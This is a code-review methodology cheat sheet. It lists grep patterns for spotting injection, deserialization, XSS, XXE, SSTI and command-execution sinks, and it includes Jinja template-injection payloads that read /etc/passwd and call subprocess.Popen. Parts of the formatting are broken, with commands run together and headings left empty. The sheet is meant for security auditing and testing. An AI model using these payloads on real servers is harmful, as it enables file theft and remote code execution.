Whitebox / Code Review Methodologies & Tips

Quick Greps

Eval (For nodeJS or Java)

```grep -Ri "eval(" * --color

#SQLI
egrep -ri "^.?['\"]SELECT.?['\"]\ ?[+.]" * egrep -Ri "^.?['\"]UPDATE.?SET.?['\"]\ ?[+.]" * egrep -Ri "^.?['\"]INSERT INTO.*?['\"]\ ?[+.]" * grep -Ri "queryForList("
# Deserialization
## Java
```egrep -Ri "readObject\(\)" *

XSS

grep -r "document.write(" ./ --include "*.html"
grep -Ri "<script src=\"' +"

XXE Injection or at least XML

grep -Ri "= new HashMap" *
grep -Ri "= document.getElementsByTagName("
grep -Ri "document.getDocumentElement()"
grep -Ri "getNodeValue()"
grep -Ri "getNodeValue()"
grep -Ri "NodeList"
grep -Ri "java.util.HashMap"
grep -Ri "<\!\[CDATA\[" *

Java

```egrep -ri "XmlUtil.java" *

# SSTI
```grep -Ri ".render(" *

File System interactions

Java

``grep -Ri "new FileReader(" *

# Weak Random
## Java
grep -Ri "import java.util.Random" * grep -Ri "new Random(" *
# Websockets
grep -Ri "= new WebSocket(" * grep -Ri "WebSocket(" * grep -r "send(" ./ --exclude="compressed*" --exclude="*.js"
# API
grep -Ri "swagger" grep -Ri "/api" *
# Command Injection
## Linux

`grep -Ri "\"su" --exclude "*.js" --exclude "*.html" --exclude "*.css" --exclude "*.svg" --exclude "*.scss"`

## Windows
"cmd.exe (.*) /c "cmd (.*) /c " "powershell (.*) -c " "powershell (.*) -command " "powershell.exe (.*) -c " "powershell.exe (.*) -command "
# Deserialization
grep -Ri ".GetType(" * grep -Ri ".GetType().AssemblyQualifiedName" * grep -Ri "XmlSerializer(" * grep -Ri "Serializer" * grep -Ri ".Serialize(" * grep -Ri ".Deserialize(" * grep -Ri "= new XmlDocument()" * grep -Ri "XmlDocument()" * grep -Ri "DeSerializeHashtable" * grep -Ri "XmlUtils.DeSerializeHashtable" *
## SSTI
* Detailed SSTI meaning [here](./SSTI)
* Test
{{7*7}}
* Jinja Payload
* Python2

``` {{ ''.__class__.__mro__[2].__subclasses()[40]('/etc/passwd').read() }}
* Python3
        {{ ''.__class__.__mro__[1].__subclasses()[40]('/etc/passwd').read() }}
* the number
[420]` may change every instance. This is the subprocess.Popen for RCE
        {% set string = "ssti" %}
        {% set class = "__class__" %}
        {% set mro = "__mro__" %}
        {% set subclasses = "__subclasses__" %}
        {% set mro_r = string|attr(class)|attr(mro) %}
        {% set subclasses_r = mro_r[1]|attr(subclasses)() %}
        {{ subclasses_r[420](["/usr/bin/touch","/tmp/poc.txt"]) }}

File Upload

How to track a possible vulnerable function resides?

Debugging

PHP

XXE (XML External Entity)

Java

JavaScript / NodeJS

.NET Applications

Deserialization

Procmon

Burp

Websockets

Building Scripts

Remote Debugging